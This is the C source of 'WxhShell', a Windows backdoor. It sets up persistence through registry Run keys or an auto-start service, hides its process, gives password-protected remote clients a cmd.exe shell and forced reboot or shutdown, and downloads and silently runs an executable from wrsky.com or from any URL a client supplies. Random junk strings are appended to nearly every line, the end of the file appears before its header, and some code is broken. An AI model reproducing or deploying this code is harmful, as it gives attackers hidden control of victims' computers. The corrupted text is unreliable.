    if(Boot(SHUTDOWN)) ^GX)Z~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mt`.6Xz~  
    else { h$=2p5'-  
    closesocket(wsh); 8[>zG2  
    ExitThread(0); W`&hp6Jq  
    } L(o15  
    break; e*!kZAf  
    } qVPeB,kIz  
  // 获取shell rbQR,Nf2x  
  case 's': { <1 pEwI~  
    CmdShell(wsh); }i2V.tVB-  
    closesocket(wsh); E e]-qN*8  
    ExitThread(0); B;WCTMy}  
    break; q9NoI(]e  
  } _FEF x  
  // 退出 gJhiGYx  
  case 'x': { fX)# =c|5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Wvqhl 'J  
    CloseIt(wsh); Hef g[$m  
    break; *j-aXN/$  
    } &0f,~ /%Z  
  // 离开 dTtSUA|V7"  
  case 'q': { 2JFpZU"1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2-b6gc7  
    closesocket(wsh); =mGez )T5\  
    WSACleanup(); uGt-l4  
    exit(1); x`?3C"N:<  
    break; @P" p+  
        } G\?YK.Y>  
  } Z6pUZ[j,  
  } Bj~+WwD)QR  
8Eq7Sa  
  // 提示信息 EzIGz[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i  LAscb  
} x m@_IL&P  
  } qFNes)_r  
2 FFD%O05  
  return; 05k0n E  
} $A` VYJtt#  
fX+O[j  
// shell模块句柄 5Ph4<f` L~  
int CmdShell(SOCKET sock) +MLVbK  
{ gNhQD*+>{  
STARTUPINFO si; *#Wdc O `-  
ZeroMemory(&si,sizeof(si)); @A 5?3(e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T^v}mWCZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >*n0n!vF  
PROCESS_INFORMATION ProcessInfo; xvy.=(  
char cmdline[]="cmd"; T#)P`q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A9JdU&  
  return 0; ]tDDq=+v  
} f {"?%Ku#  
0L KRN|@  
// 自身启动模式 s0_nLbWwO  
int StartFromService(void) aA TA9V  
{ "Pf~iwfw  
typedef struct PuO&wI]:  
{ hL5|69E  
  DWORD ExitStatus; L:8q8i  
  DWORD PebBaseAddress; IMfqiH)  
  DWORD AffinityMask; )/EO&F  
  DWORD BasePriority; 'ah[(F<*@e  
  ULONG UniqueProcessId; \G3rX9xG  
  ULONG InheritedFromUniqueProcessId; ?rup/4|  
}   PROCESS_BASIC_INFORMATION; 3&/Ixm:  
${)b[22":  
PROCNTQSIP NtQueryInformationProcess; #=v~8  
9M9?%N:ra  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]cN1c}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -tNUMi'  
!YJs]_Wr  
  HANDLE             hProcess; T n}s*<=V  
  PROCESS_BASIC_INFORMATION pbi; |&[EZ+[  
6_ow%Rx~F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =>dGL|  
  if(NULL == hInst ) return 0; <rmvcim{*  
6(e>P)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); : \}(& >  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2[;_d;oB@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QVE6We  
[=_jYzD,j|  
  if (!NtQueryInformationProcess) return 0; 6u}</>}  
-S+zmo8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s!e3|pGS  
  if(!hProcess) return 0; M:6"H%h,W  
I0 RvnMw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8Bg;Kh6B  
\r>6`-cs]  
  CloseHandle(hProcess); k: ;WtBC6j  
jZ3fKyp#   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0P(!j_2m  
if(hProcess==NULL) return 0; 1>&]R=  
O,A{3DAe0  
HMODULE hMod; ~3S~\0&|  
char procName[255]; 4 N7^?  
unsigned long cbNeeded; eNu7~3k}  
Jdp3nzM^^@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :Xd<74Nu  
.y,0[i V N  
  CloseHandle(hProcess); ~| 6[j<ziL  
%9RF   
if(strstr(procName,"services")) return 1; // 以服务启动 !#" zTj  
 =4!e&o  
  return 0; // 注册表启动 C\/L v.  
} O<;3M'y\  
0,8okA H  
// 主模块 |id <=Xf  
int StartWxhshell(LPSTR lpCmdLine) "v4B5:bmqW  
{ 5Zva:  
  SOCKET wsl; .eP.&  
BOOL val=TRUE; g|Fn7]G  
  int port=0; Dl8;$~  
  struct sockaddr_in door; M {Q;:  
wIBO ^w\J  
  if(wscfg.ws_autoins) Install(); U!Z,xx[]  
A$xF$l  
port=atoi(lpCmdLine); (/*]?Ehd  
lo!+f"7ym\  
if(port<=0) port=wscfg.ws_port; dmN&+t  
g2/8~cn8z  
  WSADATA data; {T Ug. %u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *U\`CXn;  
;l-!)0 U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &q|K!5[k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }XM(:|8J,  
  door.sin_family = AF_INET; x7x\Y(@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'anG:=  
  door.sin_port = htons(port); nL.<[]r  
J{&H+rd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r_;N t  
closesocket(wsl); =6|&Jt  
return 1; g^ i&gNDx  
} w~?~g<q  
xLZG:^(I  
  if(listen(wsl,2) == INVALID_SOCKET) { a"g!e^  
closesocket(wsl); *%t^;&x?  
return 1; M>8A\;"  
} %\Mo-Ow!\  
  Wxhshell(wsl); 6;qy#\}2  
  WSACleanup(); Bv%GJ*>>  
l/ ;  
return 0; "4,?uPi  
">j j  
} {Wu$YWE*sx  
yw3$2EW  
// 以NT服务方式启动 Y<ql49-X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9 ea\vZ  
{ ~B(4qK1G  
DWORD   status = 0; :7?FF'u  
  DWORD   specificError = 0xfffffff; qXtC^n@x  
;K &o-y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5=?\1`e1[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o"BoZsMk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WYYa /,{9.  
  serviceStatus.dwWin32ExitCode     = 0; )$bS}.  
  serviceStatus.dwServiceSpecificExitCode = 0; do+.aOC  
  serviceStatus.dwCheckPoint       = 0; 0aa&m[Mk  
  serviceStatus.dwWaitHint       = 0; (%W&4a1di  
^7KH _t8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g5QZ0Qkj  
  if (hServiceStatusHandle==0) return; gH7|=W  
5K?IDt7A]  
status = GetLastError(); *6F[t.Or  
  if (status!=NO_ERROR) Yv!a88+A8M  
{ E6gI,f/p0X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]Y8<`;8/  
    serviceStatus.dwCheckPoint       = 0; BV upDGh3  
    serviceStatus.dwWaitHint       = 0; !*. -`$x  
    serviceStatus.dwWin32ExitCode     = status; V2|aN<Sx<  
    serviceStatus.dwServiceSpecificExitCode = specificError; :| 8M`18lZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i`$*T y"x  
    return; VsE9H]v   
  } k<{{*  
spPNr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oVfLnI ;  
  serviceStatus.dwCheckPoint       = 0; `LE6jp3,  
  serviceStatus.dwWaitHint       = 0; //<nr\oP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 28J^DMOW  
} hP)LY=- 2  
u'W8;G*~  
// 处理NT服务事件,比如:启动、停止 |3[Wa^U5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ndz]cx  
{ vucxt }Ti  
switch(fdwControl) Om@C X<(9C  
{ aAMVsE{  
case SERVICE_CONTROL_STOP: C-MjJ6D<  
  serviceStatus.dwWin32ExitCode = 0; zvH8^1yzG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :Ab%g-  
  serviceStatus.dwCheckPoint   = 0; i||]V*5n  
  serviceStatus.dwWaitHint     = 0; wN-d'-z/rd  
  { scou%K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GV69eG3bX#  
  } 1@1U/ss1  
  return; =i*;VFc  
case SERVICE_CONTROL_PAUSE: ]4]6Qki  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %)I{%~u0  
  break; c+$*$|t=v`  
case SERVICE_CONTROL_CONTINUE: C$D -Pt"+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?9\EN|O^  
  break; tL)t"  i  
case SERVICE_CONTROL_INTERROGATE: 2Kyl/C,  
  break; j<@lX^  
}; s`'{I8'p/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?Yk.$90  
} =4PV;>X  
?D*/*Gk{  
// 标准应用程序主函数 ~h85BF5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (#RHB`h5  
{ QYjsDL><  
<Fc;_GG  
// 获取操作系统版本 +M$Q =6/  
OsIsNt=GetOsVer(); [8,yF D_U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^ ALly2  
8'nVwb8I  
  // 从命令行安装 giIWGa.a+  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]d0tE?9  
Sf7\;^  
  // 下载执行文件 a\E:sPM'>  
if(wscfg.ws_downexe) { | >27 B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z}l3l`h!  
  WinExec(wscfg.ws_filenam,SW_HIDE); &6YIn|}  
} .=;3d~.]  
tlqiXh<  
if(!OsIsNt) { -~30)J=e`  
// 如果时win9x,隐藏进程并且设置为注册表启动 Yc `)R  
HideProc(); jWl)cC  
StartWxhshell(lpCmdLine); sy"^?th}b  
} u\{ g(li-I  
else =L:4i\4  
  if(StartFromService()) 2h1C9n%j9  
  // 以服务方式启动 87P>IO  
  StartServiceCtrlDispatcher(DispatchTable); U\;6mK)M^J  
else ()+ <)hg}2  
  // 普通方式启动 ^,8)iV0j_  
  StartWxhshell(lpCmdLine); `~Zs0  
QQ~-  
return 0; @&:ar  
} X{'q24\F  
5b[jRj6  
uv(Sdiir8  
-Sx\Xi"<o=  
=========================================== 7~aM=8r  
vbBc}G"w  
FCuB\ Q  
\r,Q1n?7  
Rh{zH~oZ  
7-T{a<g  
" A1#%`^W9  
#+5pgD2C  
#include <stdio.h> aL%AQB,  
#include <string.h> muZ~*kMc  
#include <windows.h> 9Hu/u=vB<  
#include <winsock2.h> !Kj,9NX{U  
#include <winsvc.h> @I/]D6 ~"  
#include <urlmon.h> "zRoU$X  
 %. ,=maA  
#pragma comment (lib, "Ws2_32.lib") mfo1+owT  
#pragma comment (lib, "urlmon.lib") y_IM@)1H~  
w1#gOwA,$  
#define MAX_USER   100 // 最大客户端连接数 (B_\TdQ  
#define BUF_SOCK   200 // sock buffer "xHgqgFyO  
#define KEY_BUFF   255 // 输入 buffer OJ zs Q  
>U*T0FL7  
#define REBOOT     0   // 重启 ?1$fJ3  
#define SHUTDOWN   1   // 关机 $UCAhG$  
\lC   
#define DEF_PORT   5000 // 监听端口 Mt5PaTjj  
*"n vX2iz  
#define REG_LEN     16   // 注册表键长度 okv1K  
#define SVC_LEN     80   // NT服务名长度 C{DvD'^  
I_rO!  
// 从dll定义API fCtPu08{Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <-S%kA8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a@*S+3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4^Q :  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @u%_1  
EC8b=B<DE  
// wxhshell配置信息 .dQQoyR+O  
struct WSCFG { +H #U~p$  
  int ws_port;         // 监听端口 F>[,zN  
  char ws_passstr[REG_LEN]; // 口令 ;Uu(zhbj  
  int ws_autoins;       // 安装标记, 1=yes 0=no #x3ujJ  
  char ws_regname[REG_LEN]; // 注册表键名 FE! lok  
  char ws_svcname[REG_LEN]; // 服务名 sHl>$Qevz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3?Pn6J{O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '07P&g-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1u(.T0j7f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C[Dav&=^F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aj,T)oDbt6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I=9!Rs(QF  
+d!v}aJ  
}; %\r!7@Q  
_b.qkTWUB  
// default Wxhshell configuration Adgc% .#  
struct WSCFG wscfg={DEF_PORT, H0SQ"?  
    "xuhuanlingzhe", ?Cg>h  
    1, pL%r,Y_^\x  
    "Wxhshell", {=-\|(Bx  
    "Wxhshell", '@CR\5 @  
            "WxhShell Service", 'hv k  
    "Wrsky Windows CmdShell Service", qt^T6+faaQ  
    "Please Input Your Password: ", ZMLg;-T.&4  
  1, 3UQ;X**F  
  "http://www.wrsky.com/wxhshell.exe", deixy. |  
  "Wxhshell.exe" -s$F&\5by  
    }; QtqfG{  
0,rTdjH7  
// 消息定义模块 'X !?vK^]p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O Wj@< N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k{$ ao  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (%o2jroQ#  
char *msg_ws_ext="\n\rExit."; z2hc.29t  
char *msg_ws_end="\n\rQuit."; \$OF1i@  
char *msg_ws_boot="\n\rReboot..."; @b~fIW_3>  
char *msg_ws_poff="\n\rShutdown..."; 9Q-*@6G  
char *msg_ws_down="\n\rSave to "; (N=5 .7"T  
_#}n~}d  
char *msg_ws_err="\n\rErr!"; PF7&p~O(Z  
char *msg_ws_ok="\n\rOK!"; JA_BKA  
4bJZmUb  
char ExeFile[MAX_PATH]; Mz;[+p  
int nUser = 0; xOHgp=#D  
HANDLE handles[MAX_USER]; [mr9(m[F  
int OsIsNt; m7GR[MR  
9{8GP  
SERVICE_STATUS       serviceStatus; $gM8{.!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <K4 ,7J$}h  
ZzBQe  
// 函数声明 STw#lU) %(  
int Install(void); (q7 Ry4-  
int Uninstall(void); MqA`yvQm  
int DownloadFile(char *sURL, SOCKET wsh); &0BdUU+:<  
int Boot(int flag); y&=ALx@  
void HideProc(void); (V%`k'N7f  
int GetOsVer(void); =.`qixN  
int Wxhshell(SOCKET wsl); %-AE]-/HI  
void TalkWithClient(void *cs); t"YNgC ^  
int CmdShell(SOCKET sock); k` (jkbEZ  
int StartFromService(void); 5 `RiS]IO]  
int StartWxhshell(LPSTR lpCmdLine); V$rlA' +1v  
JQ-gn^tsy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1G'`2ATF*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3 Lsj}p  
:BGA.  
// 数据结构和表定义 D\YE^8/  
SERVICE_TABLE_ENTRY DispatchTable[] = O8W7<Wc |z  
{ H7k PM[  
{wscfg.ws_svcname, NTServiceMain}, *8tI*Pus  
{NULL, NULL} cFF*Z=L _  
}; 79yd&5#e?  
5+jf/}t A  
// 自我安装 [ dE.[  
int Install(void) @Ehn(}  
{ a`u S[r>  
  char svExeFile[MAX_PATH]; 'iY*6<xS<  
  HKEY key; KB!|B.ChN(  
  strcpy(svExeFile,ExeFile); ;eZ#bjw-d  
$eBX  
// 如果是win9x系统,修改注册表设为自启动 `O8b1-1q~  
if(!OsIsNt) { eV cANP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AisN@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7 #=}:3c  
  RegCloseKey(key); A=-F,=k(!/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gxGrspqg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kz S=g|_  
  RegCloseKey(key); ^v@4|E$  
  return 0; F("#^$  
    } [|3>MZ2/  
  } 92'wkS  
} (?b@b[D~4  
else { A;u"<KG?  
5]1h8PW!Y  
// 如果是NT以上系统,安装为系统服务 pBC<u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {A o,t+j  
if (schSCManager!=0) 9lo [&^<  
{ lRP1&FH0  
  SC_HANDLE schService = CreateService B,(Heg  
  ( 0J8K9rP;z  
  schSCManager, x4#T G  
  wscfg.ws_svcname, M}hrO-C  
  wscfg.ws_svcdisp, {+g[l5CR[  
  SERVICE_ALL_ACCESS, =)OC|?9 C\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .6pOvGKb  
  SERVICE_AUTO_START, JkA|Qdj~Mr  
  SERVICE_ERROR_NORMAL, RP`2)/sMT  
  svExeFile, \M/6m^zS  
  NULL, $,hwU3RVxc  
  NULL, [ &qA\  
  NULL, +"g~"<  
  NULL, sF+=KH  
  NULL #DkD!dW(l  
  ); ;bX4(CMe &  
  if (schService!=0) t=#Pya  
  { \ U-vI:J_  
  CloseServiceHandle(schService); il:nXpM!  
  CloseServiceHandle(schSCManager); @oG)LT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~H}en6Rc  
  strcat(svExeFile,wscfg.ws_svcname); H_IGFZCh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )hj|{h7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GW2')}g  
  RegCloseKey(key); 1[;@AE2Y  
  return 0; YO:&;K%  
    } `4CWE_k  
  } n|4;Hn1V  
  CloseServiceHandle(schSCManager); K$REZe  
} )DUL)S  
} y/@iT8$rp  
 !=*.$4  
return 1; (a6?s{(  
} m^{ xd2  
)-/gLZsx  
// 自我卸载 cub <G!K  
int Uninstall(void) ^`qPs/b  
{ cUDgM  
  HKEY key; !@ YXZ  
nD,{3B#  
if(!OsIsNt) { ;</Twm;:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (w2= 2$  
  RegDeleteValue(key,wscfg.ws_regname); '?Iif#Z1  
  RegCloseKey(key); <V_7|)'/A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qSO*$1i  
  RegDeleteValue(key,wscfg.ws_regname); 5QWNZJ&}d  
  RegCloseKey(key); ,dd WBwMK  
  return 0; aN^IP  
  } hGP1(pH.  
} Vul+]h[!h  
} q3'o|pp  
else { 0d\~"4 R  
f3 ]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rvwy~hO"  
if (schSCManager!=0) hWcTI{v  
{ i.rU&yT%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y>(rZ^y&  
  if (schService!=0) %TK&)Q% h5  
  { O=jN&<rb  
  if(DeleteService(schService)!=0) { DPJh5d  
  CloseServiceHandle(schService); MPRO !45Z  
  CloseServiceHandle(schSCManager); 3^G96]E  
  return 0; mT_GrIl[  
  } CJq c\I~  
  CloseServiceHandle(schService); E:VGji7s  
  } <uF [,  
  CloseServiceHandle(schSCManager); "'eWn6O(  
} <4D%v"zRP  
} hr U :Wr  
X_70]^XL  
return 1; mPmB6q%)]  
} \].J-^=  
WSI Xj5R  
// 从指定url下载文件 (Imp $  
int DownloadFile(char *sURL, SOCKET wsh) IG / $!* E  
{ M<qudi  
  HRESULT hr; [{PqV):p  
char seps[]= "/"; E5B8 Z?$a  
char *token; H(\V+@~>AD  
char *file; i@$-0%,  
char myURL[MAX_PATH]; *e<_; Kr?  
char myFILE[MAX_PATH]; _F8T\f |  
LC'2q*:'  
strcpy(myURL,sURL); ( D}" &2  
  token=strtok(myURL,seps); |@`"F5@,  
  while(token!=NULL) *:arva5  
  { A'DVJ9%xB  
    file=token; u3wL<$2[8  
  token=strtok(NULL,seps); X7e/:._SAH  
  } sA_X<>vAKJ  
kQ}s/*  
GetCurrentDirectory(MAX_PATH,myFILE); +?e}<#vd'?  
strcat(myFILE, "\\"); &LU'.jY  
strcat(myFILE, file); jpO38H0)  
  send(wsh,myFILE,strlen(myFILE),0); r69WD .  
send(wsh,"...",3,0); `45d"B I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A! ;meVUs  
  if(hr==S_OK) SLA#= K  
return 0; >}F?<JB  
else L<@&nx   
return 1; $'$>UFR  
R|t;p!T  
} #,P(isEZ"  
Gj`f--2GE  
// 系统电源模块 Ve14rn  
int Boot(int flag) n|]N7 b'  
{ h[l{ 5Z*  
  HANDLE hToken; U,3d) ]Zy&  
  TOKEN_PRIVILEGES tkp; .S|-4}G(6  
3LrsWAz'  
  if(OsIsNt) { j_pw^I$C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &HxT41pku  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WLy7'3@  
    tkp.PrivilegeCount = 1; |+/$ g.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )_O.{$ to  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y\u_+CG*  
if(flag==REBOOT) { /.-m}0h|W-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aL$j/SC  
  return 0; B*Cb6'Q  
} 4sd-zl$Of  
else { U$$3'n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8D T@h8tA  
  return 0; ?zE<  
} 4[H,3}p9H  
  } g*r/u;  
  else { #wD7 \X-f  
if(flag==REBOOT) { 7xR|_+%~K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fc{((x s  
  return 0; au A.6DQ  
} s7Qyfe&>  
else { A[RN-R,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eH `t \n  
  return 0; %o-jwr}O{  
} T`mEO\f  
} 7 FIFSt  
,^!Zm^4,  
return 1; &"O_wd[+:  
} 4I1K vN<A  
Znq(R8BMW  
// win9x进程隐藏模块 )x9]xqoR  
void HideProc(void) iDR6?fP  
{ > ";%2 u1  
"DzG Bu\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YrKFa%k  
  if ( hKernel != NULL ) UR\ZN@O  
  { >2t cEz%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x/[8Wi,yB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K5+!(5V~  
    FreeLibrary(hKernel); %)dI2 J^Xf  
  } (mY(\mu}  
-|$*l Q  
return; e Ri!\Fx  
} _jk|}IB;X  
]t7ClT)n!  
// 获取操作系统版本 w=gQ3j#s  
int GetOsVer(void) 1y(iE C  
{ {z-NlH  
  OSVERSIONINFO winfo; C,R,:zR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \c FAxL(  
  GetVersionEx(&winfo); i~ROQMN1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) taBO4LV  
  return 1; 3lyQn "  
  else _i.({s&_9  
  return 0; tc5M$b3^2  
} AtuZF  
wbl ${@4  
// 客户端句柄模块 8\P JSr  
int Wxhshell(SOCKET wsl) 8QPT\~  
{ U=M#41J  
  SOCKET wsh; 2kC^7ZAwu  
  struct sockaddr_in client; [gTQ-  
  DWORD myID; }3Df]  
jf2y0W>6s  
  while(nUser<MAX_USER) 8R BDJ  
{ enWF7`  
  int nSize=sizeof(client); yi&?d&rK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !OV|I  
  if(wsh==INVALID_SOCKET) return 1; $To 4dJb  
=tLU]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %{=4Fa(Jux  
if(handles[nUser]==0) b,z R5R^D;  
  closesocket(wsh); ;;D% l^m+  
else _dz +2au  
  nUser++; [p2g_bI8yK  
  } Q1K"%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B<rPvM7a  
rrW! X q  
  return 0; !Jh*a *I}  
} BllDWKb  
<r@bNx@T  
// 关闭 socket xAFek;GY?  
void CloseIt(SOCKET wsh) fYv ;TV>73  
{ 5 1v r^  
closesocket(wsh); DIL)7K4  
nUser--; D[+|^,^>  
ExitThread(0); |>M-+@g j  
} ;CLR{t(N#V  
ngtuYASc  
// 客户端请求句柄 t- !h X/  
void TalkWithClient(void *cs) p<<6}3~  
{ R>^5$[  
1{= E ?  
  SOCKET wsh=(SOCKET)cs; x|&[hFXD  
  char pwd[SVC_LEN]; ux)<&p.  
  char cmd[KEY_BUFF]; f|;HS!$  
char chr[1]; %{7$ \|;J'  
int i,j; QxP` fKC8  
hQ\#Fhu7  
  while (nUser < MAX_USER) { p{+tFQy  
i.B$?cr~  
if(wscfg.ws_passstr) { :zRB)hd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c-? Ygr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1x^W'n,HtK  
  //ZeroMemory(pwd,KEY_BUFF); 7 3H@kf  
      i=0; dO Y lI`4  
  while(i<SVC_LEN) { 3 (Gygq#  
`[w}hFl~q  
  // 设置超时 2l]C55p)s  
  fd_set FdRead; :-W$PIBe  
  struct timeval TimeOut; clij|?O  
  FD_ZERO(&FdRead); 8 ))I$+  
  FD_SET(wsh,&FdRead); Ir'DA_..  
  TimeOut.tv_sec=8; *Cc$eR]-  
  TimeOut.tv_usec=0; O e0KAn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :7zI3Ml@7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1c1e+H  
EU`' 8*4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \"<GL;  
  pwd=chr[0]; .D>A'r8U  
  if(chr[0]==0xd || chr[0]==0xa) { J@=!w[v+  
  pwd=0; Zw3hp,P]  
  break; tyBg7dP  
  } F(0pru4u  
  i++; a,en8+r ]  
    } #c8"  
Y- z~#;  
  // 如果是非法用户,关闭 socket .H*? '*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4nX'a*'D~}  
} A- <.#  
AX!Md:s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /3xFd)|Ds  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2gK p\!  
BV_a-\Sa=  
while(1) { #d7)$ub  
r;@:S~  
  ZeroMemory(cmd,KEY_BUFF); LIm$Wl1U  
S^_JC  
      // 自动支持客户端 telnet标准   x`j_d:C~G  
  j=0; AmUe0CQ:k'  
  while(j<KEY_BUFF) { K6 PC&+x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2n"*)3Qj  
  cmd[j]=chr[0]; X.r!q1_c  
  if(chr[0]==0xa || chr[0]==0xd) { +'{:zN5m  
  cmd[j]=0; 3R Y|l?n>  
  break; J:M<9W  
  } FQv02V+&<  
  j++; C5W-B8>  
    } OV0cr  
dNS9<8JX  
  // 下载文件 R[2[[M  
  if(strstr(cmd,"http://")) { 'Gm!Jblo@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {d{WMq$  
  if(DownloadFile(cmd,wsh)) kC,DW%Ls  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1{Sx V  
  else d@`-!"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qrORP3D@  
  } b W`)CWd  
  else { *1;L,*J"|  
